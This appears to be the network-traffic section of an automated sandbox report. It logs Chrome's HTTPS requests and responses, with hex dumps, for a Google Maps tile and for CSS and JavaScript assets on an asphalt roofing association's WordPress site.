2024-04-23 14:54:20 UTC	1255	IN	Data Raw: 37 a1 19 11 e6 44 ea ed f5 4f bc 17 57 37 fe fc 5e ea d7 cb a5 e7 a9 4d f9 5e 96 d7 9e 3f 2b 6f e7 32 e7 b4 d1 fd 96 97 49 d5 a5 a5 be 52 dd 42 27 8d ee 35 02 03 2d a0 a6 94 dd 07 e0 e7 09 12 04 15 d7 a3 a1 4d 56 4c 84 a5 02 18 e4 02 9d ef 60 bf 24 00 a5 d4 dd 25 05 80 e7 2b 21 78 40 01 b0 57 05 40 f6 0d 26 94 00 30 9a 0a 0f b6 80 fa 0e 57 00 d8 8b e6 c9 75 d1 19 00 b0 c0 23 1a 90 55 00 f0 de 10 00 cb d2 00 b0 d3 ff 4e 8f 31 b0 31 19 78 4b 00 68 fc 18 3c 98 fd 76 ff e0 2d 9c f7 07 00 d1 7d c8 c0 e6 c1 5b fc 11 00 d8 c3 1a fc 0a 00 7f c3 24 a1 2b 00 0f 93 31 1f 7e a3 44 c1 33 a9 95 9d e7 00 f0 df 1a 00 95 22 65 fd d7 01 70 9e f2 e0 fe 1f 80 ff 28 00 36 51 6a 59 96 b1 34 f2 86 56 e0 51 00 b0 26 e4 10 a5 40 e1 3f 09 80 db 48 ff 79 00 de 30 59 d8 ef de 16 d7 Data Ascii: 7DOW7^M^?+o2IRB'5-MVL`$%+!x@W@&0Wu#UN11xKh<v-}[$+1~D3"ep(6QjY4VQ&@?Hy0Y
2024-04-23 14:54:20 UTC	1255	IN	Data Raw: e4 d9 62 01 2b 98 4f e8 09 fd 08 00 b3 72 31 32 19 f4 3b 1c 09 22 f1 21 cb f3 c3 fc ed 01 08 fd 07 10 a0 4a 0c 19 ad 8f e6 d1 84 d9 a2 3f 03 c0 43 08 a0 be 9a 58 d0 d2 68 34 c1 02 f1 85 7e 08 80 c7 78 40 8a 39 22 82 07 55 85 fa 0d 01 f8 9a 3d 8d 00 73 e7 d1 22 57 81 f1 b7 07 e0 8a c0 90 7b 90 13 5d 14 04 c1 1b ea 80 1a 00 67 04 d2 01 63 29 28 4d 0e 54 fc 09 00 1e 40 40 58 79 8e b5 91 c3 84 51 c1 9f 04 e0 01 04 b4 2b 48 5a d0 fb 0b 00 0c 47 a0 5c b8 90 32 e0 63 2f 0f 96 34 21 00 b3 d9 d3 08 78 3c 88 b0 61 60 97 21 22 30 c1 e2 10 d1 0f 03 30 10 01 8f 63 32 90 e7 08 0a 26 7f 05 80 61 08 94 47 30 24 c9 74 8e 80 06 60 92 b9 e6 ac 0b 81 9e f9 a9 3c 20 09 d8 ed 06 01 90 5a 03 fa a3 00 98 24 43 a4 0d 80 12 01 11 f6 61 3b 11 90 04 a8 29 51 6f 00 b0 f0 3d 20 ff d9 Data Ascii: b+Or12;"!J?CXh4~x@9"U=s"W{]gc)(MT@@XyQ+HZG\2c/4!x<a`!"00c2&aG0$t`< Z$Ca;)Qo=
2024-04-23 14:54:20 UTC	1255	IN	Data Raw: 59 b3 9f a4 e6 47 90 3d 00 b0 74 f7 15 04 43 f8 04 35 0b 03 cf 9b c7 ac 4d 09 fe 36 00 d0 d5 4e 8f 83 f7 d6 ff 4c 1a c0 04 3c 8c 49 c2 e2 f0 d5 00 20 23 e5 fb 64 b0 53 e3 a0 81 b6 15 72 ff 5f 95 fa 5b 0b e2 00 a4 60 b4 9b c1 df 00 c0 2a 3b ae aa 8a 56 a8 cd 15 bc 70 ff f9 4d ef 79 33 52 30 10 70 85 0e 68 33 83 bf 00 80 e3 b3 7a c7 2f d4 3c b4 e7 7e 7b b6 77 46 82 f5 25 ee 52 ad 36 b7 75 cd e1 17 00 08 5b bb df 06 c0 59 f4 8f b0 01 e5 7b d6 93 14 07 04 8b 57 e2 00 db af 74 99 8e 1b b9 fe d5 a8 03 ce 9d 76 cb 7f 43 f4 20 8a 17 07 4e 1c bc 8c 0e a0 15 3a 9d 3c 84 3d 83 c8 5a c0 81 53 be e3 1b 35 80 cb 83 9d 85 39 62 c7 33 db d3 c8 1f 87 c9 00 59 81 20 77 b3 57 b1 02 b4 46 cb 71 b6 ad 6f e3 3f 5b ea 35 5b c3 11 70 ed 23 77 8f 6b 97 af 0d e7 5d f5 79 7d 69 b2 Data Ascii: YG=tC5M6NL<I #dSr_[`*;VpMy3R0ph3z/<~{wF%R6u[Y{WtvC N:<=ZS59b3Y wWFqo?[5[p#wk]y}i
2024-04-23 14:54:20 UTC	1255	IN	Data Raw: f9 00 a9 a1 67 e6 d0 73 1c 0a 17 4e a8 05 7d b3 f4 94 d7 96 2c f2 33 64 39 61 7d e8 6d 68 41 6c 70 ba 06 85 c6 d7 82 aa ec 8e 86 d5 3b 2f 4f 0a f6 0b 94 84 56 45 e5 d1 d0 27 25 6f 4e b8 75 46 95 1c 29 cd 80 c7 a3 1c 10 38 f5 ad 84 f2 47 18 c3 48 89 c4 13 a5 6a e8 cf df 19 00 8c ed 0b da 97 ba 43 08 36 60 b5 b0 10 22 cb 38 93 b2 ec b2 d4 ab d1 53 15 b7 36 c8 18 7a eb 32 f4 25 19 31 11 39 ba 16 54 82 85 3d 85 8e e3 a5 31 1d 6b 01 00 28 23 97 ab 9c 15 2e a1 26 11 3a 2f 01 90 d3 b1 42 e3 d0 97 64 84 c6 f9 b8 32 60 5b ea 30 2c a1 11 0e 91 3b 1d d2 6e 75 2f cf 72 df e5 05 a3 1d 15 74 d2 49 c9 02 25 37 4c 82 82 1a fa 30 69 b6 48 bd 56 48 07 13 f9 5a 15 c5 53 c4 4e 96 d1 81 df 51 34 cf 17 9e 13 47 31 a2 46 99 e2 09 d2 8c 58 4a c8 e7 61 7b f5 b5 a7 08 43 df 5e 6c Data Ascii: gsN},3d9a}mhAlp;/OVE'%oNuF)8GHjC6`"8S6z2%19T=1k(#.&:/Bd2`[0,;nu/rtI%7L0iHVHZSNQ4G1FXJa{C^l
2024-04-23 14:54:20 UTC	566	IN	Data Raw: 1b 46 75 25 70 25 cf 7e d2 d9 32 62 22 4f d1 5d 4e aa 48 42 1a 0e 84 bc d1 13 10 ed 8b 09 fd 69 ac 3c 91 1e c9 06 a6 24 08 27 19 f4 e0 fe 0d df ab c0 ce 08 f6 db ee 7d 30 c9 18 b7 31 24 41 fa 43 1c 50 b3 a4 cc 93 42 5f a7 3e 31 91 fb a4 ad 60 0f 46 32 24 c1 4e 06 48 9e 11 1a b6 d0 f9 11 d3 3a fa c7 44 ba c8 ea 7d c4 0f 98 c5 2f 87 13 da b0 37 0f b7 07 45 9e a5 e1 31 91 26 72 86 b8 d4 69 72 76 ee 3d bf af 2a 30 94 c0 c8 ab e4 03 c6 ae 83 06 66 5d 5a 97 f2 e7 2c e9 a7 0a 8c e9 c0 b8 fb a7 b0 62 e4 8e 60 06 06 fb 53 ce 39 07 94 db bd 34 70 3a 59 ae d0 38 1c 30 3c e5 ce 4e fc d2 26 de 3f 48 c8 86 9f 6b 14 97 4b 47 cd 6c 1b 65 42 fc 90 31 b5 92 f2 24 84 ee 66 d4 fb aa f3 3f ee 26 ca 64 8c 43 b8 d3 c7 e4 c8 09 95 49 ec 6a 72 d3 fb d1 65 60 94 a0 d8 a3 72 64 fb Data Ascii: Fu%p%~2b"O]NHBi<$'}01$ACPB_>1`F2$NH:D}/7E1&rirv=*0f]Z,b`S94p:Y80<N&?HkKGleB1$f?&dCIjre`rd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.6	50045	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:20 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24909!4i256!2m3!1e0!2sm!3i690434553!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=50324 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:20 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:20 GMT Expires: Tue, 23 Apr 2024 15:09:20 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 043a17f4a01fc2c4e Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 1400 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=135 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:20 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 33 50 4c 54 45 f1 f3 f4 fb fb fb a9 b5 b9 ff ff ff 7d 91 99 e9 ed ed dd dd e1 55 6d 79 79 7d 81 e5 e5 e5 bd c9 cd d1 d9 dd 4d 51 55 f4 f8 f8 51 95 ed 89 b9 f1 19 71 e9 b2 21 c2 c4 00 00 04 eb 49 44 41 54 78 da ed fd e9 92 ea 38 0c 05 60 c8 bb d7 3b f3 fe 4f 3b 92 1c 20 34 dc ed d7 34 d1 f9 7a a1 49 03 c5 91 65 27 2c 45 d1 9f 48 ad b5 44 2e 88 54 67 89 65 8e 50 e3 18 14 f8 a4 fa 90 e7 48 b3 d3 ec c1 b5 e6 dc e2 eb ac 45 d7 70 0e 4f bd 93 af 1c b3 cf 1c 7a 99 93 ff cc 93 8b 11 a6 0f 75 04 e2 ec 6e e7 bf 86 d4 72 4b 2b 1c e1 39 6b 2d 95 78 a8 03 71 e0 20 c3 5f 43 f0 5c 00 d7 29 38 89 7e 9d Data Ascii: PNGIHDRkXTpHYs3PLTE}Umyy}MQUQq!IDATx8`;O; 44zIe',EHD.TgePHEpOzunrK+9k-xq _C\)8~
2024-04-23 14:54:20 UTC	773	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ef 6c 1d c8 2a 77 20 ab dc 8f 7f 15 59 25 a3 ff cf 0f c3 1d c0 d3 5f 0a 60 77 0d 60 52 00 b2 0c 05 40 01 50 00 14 80 2c 43 01 2c 1f 09 2b cb 8f 85 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 49 8d 0c 4b 2d e7 44 56 71 f8 46 2e 04 b2 68 0f 3d a7 0f 16 0b a0 e9 57 b8 21 5b 6e 8d 6f 32 ff b9 f1 95 93 7a 90 11 9c be a5 f3 d0 3b dd 42 26 a4 d7 c6 4f d9 54 fa 44 e1 4b e3 9b 49 ff 75 e8 4d 37 be 43 e3 5b 39 f0 7f 59 f3 96 b9 a1 37 dc f8 ed 74 94 6b bd f1 c9 76 e3 1b da d9 93 e5 a3 5c 91 93 d5 35 6f 6b c9 68 e3 df 34 b2 d9 f8 77 a9 39 8b 8d 7f c2 03 6f 67 67 ff 9e dd e7 b6 01 00 00 00 00 ae ea 6f 3e f2 6c 5f 4c 2e ed dc da 1f 14 b6 9e b6 d3 07 72 Data Ascii: l*w Y%_`w`R@P,C,+lIK-DVqF.h=W![no2z;B&OTDKIuM7C[9Y7tkv\5okh4w9oggo>l_L.r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.6	50048	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	985	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:21 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:21 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.6	50049	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	986	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:21 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:21 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.6	50050	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	980	OUT	GET /wp-content/plugins/ultimate-responsive-image-slider/assets/css/slider-pro.css?ver=6.0.7 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:21 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: text/css Content-Length: 16154 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:13:45 GMT ETag: "681447-3f1a-6138f92e19d6c" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:21 UTC	7653	IN	Data Raw: 2f 2a 21 0a 2a 20 20 2d 20 76 31 2e 35 2e 30 0a 2a 20 48 6f 6d 65 70 61 67 65 3a 20 68 74 74 70 3a 2f 2f 62 71 77 6f 72 6b 73 2e 63 6f 6d 2f 73 6c 69 64 65 72 2d 70 72 6f 2f 0a 2a 20 41 75 74 68 6f 72 3a 20 62 71 77 6f 72 6b 73 0a 2a 20 41 75 74 68 6f 72 20 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 62 71 77 6f 72 6b 73 2e 63 6f 6d 2f 0a 2a 2f 0a 2f 2a 20 43 6f 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 73 6c 69 64 65 72 2d 70 72 6f 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 09 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f Data Ascii: /! - v1.5.0* Homepage: http://bqworks.com/slider-pro/* Author: bqworks* Author URL: http://bqworks.com/// Core--------------------------------------------------*/.slider-pro {position: relative;margin: 0 auto;-moz-box-sizing: content-bo
2024-04-23 14:54:21 UTC	8192	IN	Data Raw: 0a 0a 2e 73 70 2d 66 61 64 65 2d 61 72 72 6f 77 73 20 7b 0a 09 6f 70 61 63 69 74 79 3a 20 30 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 35 73 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 35 73 3b 0a 7d 0a 0a 2e 73 70 2d 73 6c 69 64 65 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 68 6f 76 65 72 20 2e 73 70 2d 66 61 64 65 2d 61 72 72 6f 77 73 20 7b 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 7d 0a 0a 2e 73 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 70 2d 61 72 72 6f 77 73 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 74 6f 70 3a 20 35 30 25 3b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 31 35 70 78 3b 0a 7d 0a 0a 2e 73 70 2d 76 65 72 74 69 63 Data Ascii: .sp-fade-arrows {opacity: 0;-webkit-transition: opacity 0.5s;transition: opacity 0.5s;}.sp-slides-container:hover .sp-fade-arrows {opacity: 1;}.sp-horizontal .sp-arrows {width: 100%;left: 0;top: 50%;margin-top: -15px;}.sp-vertic
2024-04-23 14:54:21 UTC	309	IN	Data Raw: 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 0a 2e 73 6c 69 64 65 72 2d 70 72 6f 20 68 34 2e 73 70 2d 6c 61 79 65 72 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 0a 2e 73 6c 69 64 65 72 2d 70 72 6f 20 68 35 2e 73 70 2d 6c 61 79 65 72 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 0a 2e 73 6c 69 64 65 72 2d 70 72 6f 20 68 36 2e 73 70 2d 6c 61 79 65 72 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 09 6d 61 72 Data Ascii: ine-height: 1.4;margin: 0;}.slider-pro h4.sp-layer {font-size: 16px;line-height: 1.4;margin: 0;}.slider-pro h5.sp-layer {font-size: 13px;line-height: 1.4;margin: 0;}.slider-pro h6.sp-layer {font-size: 11px;line-height: 1.4;mar

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.6	50052	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	970	OUT	GET /wp-content/plugins/ultimate-responsive-image-slider/assets/js/jquery.sliderPro.js?ver=1.5.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
2024-04-23 14:54:22 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:21 GMT Content-Type: text/javascript Content-Length: 204114 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:13:45 GMT ETag: "681452-31d52-6138f92e1a53c" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
